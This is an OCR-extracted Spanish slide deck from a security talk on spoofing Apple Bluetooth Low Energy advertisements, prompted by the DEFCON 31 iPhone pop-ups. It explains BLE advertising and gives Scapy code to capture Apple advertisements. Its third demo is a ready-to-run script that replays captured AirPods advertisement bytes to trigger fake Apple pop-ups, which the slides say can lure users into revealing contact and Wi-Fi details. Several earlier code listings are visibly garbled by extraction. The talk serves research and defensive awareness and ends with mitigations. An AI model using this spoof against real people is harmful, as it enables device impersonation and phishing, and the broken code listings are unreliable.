Apple BLE Spoofing

Forjando Advertisements Bluetooth Low Energy
con Scapy
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Hablando de DEFCON 31 - Un poco de contexto

1&......... i e Asisten todo tipo de profesionales de
" infosec; White hats, Gray hats, Black

hats.

e Del 10 al 13 Agosto 2023

e Inesperadamente y a lo largo de la
conferencia muchas personas notaron
recibir notificaciones no solicitadas en
sus iPhones sobre Apple TV y esta les
pedia compartir su contrasena.

e Hubo especulacidén de que podria ser. El
ataque se estaba desplegando rapidamente
durante la conferencia. Pero cémo?



‘6) Jaime Blasco =%, Ben Sadeghipour &
Friendly remember to be careful at #Defcon | keep getting these alerts i

Anyone else get an Apple TV request at ?

10:39 & all 56 E *m

Apple TV Keyboard
Password AutoFill

5 Press to choose a saved password to
share to a nearby Apple TV.

NFC Exploit - Apple TV

Heads up- it'’s a minor annoyance but since iPhone cannot disable NFC someone near Caesars Forum
has a device acting like an AppleTV requesting WiFi information. This could be used to compromise
WiFi networks stored in your phone or the DEFCON Registered WiFi. Airplane Mode will not disable

NFC.




Me llamo la atencidn por varias razones

Un gran numero de personas reporté recibirlo.

Phishing en forma de notificacion de Apple - Cuando el celular recibe el
ataque se genera una notificacion animada en el estilo propietario de
Apple.

Una gran cantidad de personas son duenos de productos Apple.

Se propaga por el stack de Bluetooth y utilizando la capa de mensajeria
de Apple BLE.

Pensé en las posibilidades para el Red Team digase Pen Tests Fisicos -
War Driving. Implantes fisicos.



Lo tomé como un CTF - Objetivos y alcance

e Entender como funciona Bluetooth BLE
e Capturar y analizar la mensajeria de Apple BLE

e Ganar la habilidad de forjar mensajeria Apple BLE
utilizando Scapy

e Generar notificaciones como las que observamos en DEFCON



Bluetooth Special Interest Group

e Fundado por 5 companias para dirigir y desarrollar la

especificacion Bluetooth.
o Ericsson

o 1IBM

o Intel

o Toshiba

o Nokia

https://www.bluetooth.com/

Bluetooth SIG, Inc. Headquarters
5209 Lake Washington Blvd NE
Suite 350
Kirkland, WA 98033 USA



https://www.bluetooth.com/
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Contexto sobre Bluetooth BLE

Version

Bluetooth 1.0

Bluetooth 2.0

Bluetooth 2.1

Bluetooth 3.0

Bluetooth 4.0
(Low Energy)

Bluetooth 4.1i

Bluetooth 4.2

Bluetooth 5.2

Bluetooth 5.3

2007

2009

2010

2013

2014

2020

2021

Novedades

Las primeras especificaciones, muchos bugs. Modulaba
en GFSK. Maximo 1 Mbps.

Viene con nuevos y mejorados esquemas de modulacién
(p/4-DQPSK y 8DPSK), permite 2 Mbps y 3 Mbps
respectivamente.

Mejoras en el proceso de pairing, cifrado de data
mandatorio, menor consumo energético.

Inicia conexién por Bluetooth y utiliza Wifi para
transferencia de data. No para todas las
transferencias, solo las necesarias.

Introduccién de BLE. Soporte para seguridad, ya que
emplea el sistema de cifrado AES. (No para todos los
eventos). BLE utiliza 40 canales RF.

Coexistencia con frecuencias LTE, mejoras en
estabilidad de conexiones.

Disenado para IoT, incrementos en la capacidad de
data que se puede transmitir en el paquete
Bluetooth. (x10). IBeacon, 6LoWPAN, IoT.

Proporciona potencia ajustable que puede ser
solicitada por dispositivos pares.

Una actualizacién incremental, la Versién 5.3 agrega
mas estabilidad, seguridad y eficiencia.



Modulaciones en Bluetooth

Bluetooth 1.0 utiliza GFSK (Gaussian Frequency Shift Keying)
permitiendo 1 Mbps, como vimos luego se sustituyé en la version 2
por DQPSK y DPSK que permitian mayor velocidad (2 y 3 Mbps).
Bluetooth 3 buscando aun mas velocidad utilizaba Wi-Fi con 24
Mbps. Las versiones BT 1.0 al 3.0 constituyen lo que SIG conoce
como Bluetooth Classic.

En la especificacion BLE (BT 4.0 - 5.0) Bluetooth SIG se deshizo
de DQPSK, DPSK y se queddé solo con GFSK. De vuelta a 1 Mbps pero
ya estamos en el 2014 para Bluetooth 4.2 donde en IoT se requiere
un menor consumo de energia sacrificando velocidad a favor de
mayor autonomia energética en los dispositivos.

*BLE y Bluetooth Classic conviven, ambas son necesarias.



BLE permite aplicaciones interesantes

[

=3 . Connect



Arquitectura BLE

N

Attribute Protocol ‘

Host Controller Interface (HCI)

<



Generic Access Profile

e GAP define como los dispositivos interactuan unos con

otros en BLE.
o Roles de dispositivos
o Anuncios broadcasts (Advertisements)
o Establecimiento de conexiodn
o Parametros de seguridad



Generic Access Profile (GAP)

e Existen 4 roles principales en BLE:

1) Periféricos: Un dispositivo que anuncia su existencia por medio de broadcasts
con la capacidad de aceptar conexiones.

2) Central: Un dispositivo que descubre periféricos BLE con la capacidad de
conectarse a ellos.

3) Broadcaster: Anuncia su existencia por medio de broadcasts pero no permite

conexiones.
4) Observer: Descubre periféricos y broadcasters pero sin la capacidad de
conectarse a alguno de ellos.

*Ejemplo: Un Periférico pueden ser unos audifonos y una central un celular, tablet,
etc .. GAP permite la definicion del rol del dispositivo en base a su funcion.



Periféricos BLE

Los advertisements son importantes en BLE, un dispositivo en
rol periférico siempre envia anuncios antes de aceptar una
conexidén. De hecho, este es el unico mecanismo en BLE que
permite a una central identificar un periférico o
broadcaster.

O
e o
e O 000
e O
O

Data Broadcast Mesh
One-to-Many (1:m) Many-to-Many (m:m)
Connection-less Communication Large-scale Device Networks

Point-to-Point (1:1)
Connection-Oriented Communication



Broadcasts de anuncios

e Los advertisements se envian en un intervalo fijo
definido como el ‘advertisement interval’.

e Se envian por los canales 37,38,39 de BLE. Estos tres
canales reciben el nombre de Primary Advertisement
Channels.



Utilizacidon de canales RF en BLE

. Primary Advertisement channel
Secondary Advertisement/Data channel

3 “ 5 6 7 8 9 10 38 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 3B 3 39

Channel 37 0 1 2

2 MHz Frequency range
2402 MHz - 2480 MHz

(*)BLE es flexible, permite a un dispositivo enviar advertisements por los

canales de data también pero debe anunciarlo primero por los canales
primarios 37,38,39 indicando que se utilizaran los canales de data para

enviar advertisements.



DEMO 1: Capturando Advertisements BLE en
Scapy

e Utilizar adaptador Bluetooth para capturar BLE y analizar PCAP.

e Raspberry Pi Zero W, adaptador UD-100 y Wireshark.




from scapy.all import *

print(
bt = BluetoothHCISocket(l)

def (bt):
print( ' te e . )
ans, unans = bt.sr(HCI_Hdr()/HCI_Command_Hdr())
= ans[0][1]
p.show()
(bt):

print( :
bt.sr(HCI_| Hdr()/HCI Command Hdr()/HCI Cmd_LE_Set_Scan Parameters(type 1))

bt. sr(HCI Hdr()/HCI Command Hdr()/HCI Cmd_LE_Set_Scan Enable(enable— Fllter _dups=

(bt):

print( = dverts Pt - : )

adverts = bt.sniff(lfilter=lambda p: HCI_LE_Meta Advertising Reports in p)
print(adverts)

print( dve > )

wrpcap( : dverts. , adverts)

return adverts

(bt):
print(
bt.sr(HCI_| Hdr()/HCI Command Hdr()/HCI Cmd_LE _Set Scan_Enable(enable= ))

test_bt(bt)

enable_ble_discovery_mode(bt)
adverts = read _ble adverts(bt)
disable ble discovery mode(bt)




Analisis de Advertisements BLE

¥ Display RFC-like schema

8 1 2 3
123456789080123456789012345678901
B e e S S e e e e e
| TYPE | ATYPE | ADDR |
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Fig. HCI_LE_Meta_Advertising_Report



Analisis de
Advertisements BLE

> Frame 1: 32 bytes on wire (256 bits), 32 bytes captured (256 bits)
Bluetooth
Y Bl CLOOL ] [ 4

Direction: Unspecified (@xffffffff

HCI Packet Type: HCI Event (©x@4
Vv Bluetooth HCI Event - LE Meta
Event Code: LE Meta (©@x3e)
Parameter Total Length: 29
Sub Event: LE Advertising Report (0x02)

Num Reports: 1
Event Type: Connectable Undirected Advertising
Peer Address Type: ]
41:92:40:26:40:a6
Data Length: 17

v BAdvertising Data

Vv Flags

2x00

Add

41:92:40:26:40:a6



Analisis de
Advertisements BLE

Advertising Data

Vv Flags
Length: 2
Type: Flags (@x01)
900. .... = Reserved: 0x0

vV Tx Power Level

LenEEh: 2



Analisis de
Advertisements BLE

v Tx Power Level

Length: 2
Type: Tx Power Level (@x@a)
Power Level (dBm): 12

Vv Manufacturer Specific

RSSI:

Length: 10

Type: Manufacturer Specific (@xff)

Company ID: Apple, Inc. (@x@84c)

Data: 10050e1c2781d1

Vv [Expert Info (Note/Undecoded): Undecoded]
[Undecoded]
[Severity level: Note]
[Group: Undecoded]

-34 dBm



iBeacon:

BLE Advertisement and iBeacon

Advertisement Data

BLE Advertisement Frame

Preamble Advertiser PDU CRC
1 4 2-39 3

SES9BED6
BLE Adverntisement Payload
[ Header I MAC address I Data
2 6 | -31

size, type..  eg. 112233445566

A

iBeacon Data

iBeacon information
RSSI Measured by receiver
MAC From BLE header
Proximity UUID  (can be) company reference

Major, Minor Integer values identifying the
tag andfor zone

Measured Tx Pwr  Calibrated power at I m from
the iBeacon (dBm)

iBeacon Prefix Proximity UUID
9 16

Major I Minor l Mecasured Tx Pwr ]
2 2 2

00106IAFFAC0002 15  ¢.g. 4152554e-9b-86d0-947070693a78

c.g. 4159 c.g. 27341 c.g -89




AirTags: Advertisement Data

Byte # Value Description
O Ox1E Advertising data length: 31 (the maximum allowed)
1 OxFF Advertising data type: Manufacturer Specific Data
2-3 0x004C Apple’s company identifier
4 0Ox12 Apple payload type to indicate a FindMy network broadcast
5 0x19 Apple payload length (31 - 6 = 25 = 0x19)
6 Ox10 Status byte
7-29 Varies EC P-224 public key used by FindMy network. Changes daily
30 0-3 Upper 2 bits of first byte of ECC public key
31 Varies Crypto counter value? Changes every 15 minutes to a random value



Advertisement Data

La seccion de DATA del advertisement BLE incluye
informacion que el periférico quiere enviar a las
centrales.

BLE incluye campos standards:
o Service UUID

Local Name

Flags

Manufacturer Specific Data

TX Power Level

o O O O



DEMO 2: Filtrando Advertisements BLE en
Scapy

Utilizar adaptador Bluetooth para capturar BLE y filtrar por el Manufacturer
Specific Data. Extraer los Advertisement Data de equipos Apple.

Raspberry Pi Zero W, adaptador UD-100.




analyze_advertising report(adverts):
from itertools import chain
reports = chain.from_iterable(p[HCI_LE_Meta_ Advertising Reports].reports for p in adverts)

devices = {}
for report in reports:
device = devices.setdefault(report.addr,
device.append(report)
apple = {}
for mac, reports in devices.items():
for report in reports:
if (EIR_Manufacturer_Specific_Data report):
print(+” ice Manufacturer 16 bit uuid: {report[EIR Manufacturer_Specific_Data].company_id}")
f (EIR_Manufacturer Spec1f1c Data report report[EIR_Manufacturer_Specific_Data].company_id == 76):
atype
if report.atype ==
atype
print(f"BLE ADVERTISEMENT of Apple device @ { with a { } address - RSSI {report.rssi} - ADV TYPE {report.type} - DATA - {report.data} ")
apple[mac] = report
print("apple ble raw advertisement data”
print(apple.items

0x004C = 76 - Apple Computer Inc

www.bluetooth.com/specifications/assigned-numbe



https://www.bluetooth.com/specifications/assigned-numbers/

Forjando Advertisements BLE con Scapy

Ya tenemos una idea de cémo funciona Bluetooth, cémo interactuar con el
stack, leer data. Y ahora como podemos hacer spoof de periféricos Apple ?

Debemos analizar la mensajeria de Advertisement Apple BLE para el equipo
especifico que queremos imitar. En este caso elegiremos unos AirPods. Pero
pudiera ser cualquier otro protocolo o dispositivo que esté haciendo uso
de los canales de Advertisement en Bluetooth.

Lo mas valioso es entender esta técnica para aplicarla a otros
dispositivos. PenTest IoT en industria X - por ejemplo. Traer atencion al
uso de Bluetooth. Recordar que nuestros equipos envian y reciben data por
BT pudiendo servir como un vector de ataque alternativo.



Forjando Advertisements BLE con Scapy

e Que pasa cuando abres unos AirPods?




Forjando Advertisements BLE con Scapy

Sep 28 13:53:30.029 HCI Event 7C:29:6F:D6:48:EB v LE - Advertising Report - 1 Report - Normal - Public - 7C:29:6F:D6:48:EB - ADV_NONCONN_IND -40 dBm - Channel 37
Parameter Length: 33 (0x21)
Num Reports: 0X01
Report 0
Event Type: Non Connectable Undirected Advertising (ADV_NONCONN_IND)

Address Type: Public

Peer Address: 7C:29:6F:D6:48:EB
Data Length: 21

Apple Manufacturing Data
Length: 20 (0x14)

RSSI: -40 dBm

Sep 28 13:53:30.029 HCI Event v 00000000: 3E21 0201 0300 EB48 D66F 297C 1514 FF4C >!..... HO}| osereTi
00000000: 3E21 0201 0300 EB48 D66F 297C 1514 FF4C >!..... H.0)|...L
00000010: 0007 OF00 OF20 7C29 6FD6 48EB 15E4 E421 ..... |yo.H....!

00000020: 0500 D8

."
@ 7c:29:6f:d6:48:eb with a public address - RS 6 - A / ATA - [<EIR_Hdr len=20 type=mfg_specific_data |<EIR_Manufacturer

BLE ADVERTISEMENT of Apple device
Specific_Data company_id=8x4c

Device Manufacturer 16 bit uuid: 76

<Raw load="\x87\xef\xee\xef |)o\xd6H\xeb\x85\xe




Forjando Advertisements BLE con Scapy

e Utilizamos Scapy para implementar un ataque de SpOOf
o 1) Spoof la BD_ADDR de los AirPods.
o 2) Configurar nuestro adaptador para modo Advertisement.

o 3) Replicar el Advertisement Data de los AirPods.



Forjando Advertisements BLE con Scapy

Scapy soporta BLE en una forma mas o menos utilizable,
readaptamos la implementacion de iBeacon.py ya que fue
una buena base para hacer pruebas y adaptaciones fueron
necesarias para que funcione con el Advertisement Data de

los AirPods en base a lo que se observé en la captura de
trafico.




Forjando Advertisements BLE con Scapy

def build_eir(self): def build_eir(self):

"""Builds a list of EIR messages to wrap this frame.""" """Builds a list of EIR messages to wrap this frame."""
return LowEnergyBeaconHelper.base_eir + [ return [

EIR_Hdr() / EIR_Manufacturer_Specific_Data() / self EIR_Hdr() / EIR_Manufacturer_Specific_Data() / self
] ]



DEMO 3: Spoofing Advertisements
BLE en Scapy

e Utilizar adaptador Bluetooth para crear Advertisements BLE y Spoof unos AirPods.

e Raspberry Pi Zero W, adaptador UD-100.




O 00 N O Ul B W N =

T = =y
N o U s WN RS

from scapy.all import x
load_contrib('ibeacon') #loads the slightly modified ibeacon.py contrib code

print('advertising crafted bt packets')

bt = BluetoothHCISocket(0)

apple_frame = Apple_BLE_Frame() / Raw(b'\x07\x0f\x00\x0f\x20\x7c\x29\x6f\xd6\x48\xeb\x85\xe3\xe3\x02\x01\x00")
bt.sr(apple_frame.build_set_advertising_data())
bt.sr(HCI_Hdr()/HCI_Command_Hdr()/HCI_Cmd_LE_Set_Advertising_Parameters(adv_type=3, interval_max=256,interval_min=256))
print(apple_frame.show())

ans, unans = bt.sr(HCI_Hdr()/
HCI_Command_Hdr()/
HCI_Cmd_LE_Set_Advertise_Enable(enable=True))

p = ans[0][1]
print(p.show())



Impacto

https

Para emular unos AirPods a la perfeccién habria que implementar todo el protocolo y la mensajeria BLE
que Apple utiliza en los AirPods incluyendo negociacion de cifrado etc. En esta demo solo
implementamos la mensajeria de Advertisement BLE que los AirPods utilizan. Demostrando que es posible
realizar spoofing. Vale destacar que esta vulnerabilidad afecta muchos equipos IoT de igual forma. Y
se podria utilizar para llevar a usarios a divulgar informacién privilegiada como nimero de teléfono,
el correo electrénico ID de Apple y la red Wi-Fi actual. Dependiendo de qué dispositivo se le esta
realizando spoofing.

://stackoverflow.com/questions /55272209 /ellysis-bluetooth-sniffing-apple-airpods

https:

//securityaffairs.com/149711/hacking/spoofing-apple-device.html

https:

//github.com/jrgdiaz/apple-ble-spoof-poc.qgit

https:

//github.com/hexway/apple_bleee

https:

//github.com/ECTO0-1A/AppleJuice

https:

//techcrunch.com/2023/08/14/researcher-says-they-were-behind-iphone-popups-at-def-con/



https://stackoverflow.com/questions/55272209/ellysis-bluetooth-sniffing-apple-airpods
https://securityaffairs.com/149711/hacking/spoofing-apple-device.html
https://github.com/jrgdiaz/apple-ble-spoof-poc.git
https://github.com/hexway/apple_bleee
https://github.com/ECTO-1A/AppleJuice
https://techcrunch.com/2023/08/14/researcher-says-they-were-behind-iphone-popups-at-def-con/

Mitigaciones?

BLE esta en desarrollo actualmente, y se conocen las fallas que tiene en cuanto a
spoofing. Hay algunas propuestas de como mitigarlo. Incluyendo un dispositivo llamado
‘BlueShield’ disenado precisamente para detectar y prevenir. Tal vez la Bluetooth SIG
elija una propuesta en el futuro y aplique mitigaciones como parte del standard. Mientras
tanto. Apple hasta la fecha no tiene planes para parcharlo a nivel de sistema operativo.
Lo mejor por ahora si tiene preocupaciones de ser alcanzado por este ataque es apagar la
interfaz Bluetooth. Otra cosa a tener pendiente es nunca dar click a este tipo de
notificaciones si les aparece de forma inesperada.

BlueShield: Detecting Spoofing Attacks in Bluetooth Low Energy Networks | USENIX

https://arxiv.org/pdf/1904.10600.pdf



https://www.usenix.org/conference/raid2020/presentation/wu
https://arxiv.org/pdf/1904.10600.pdf

Gracias por su tiempo y asistir!



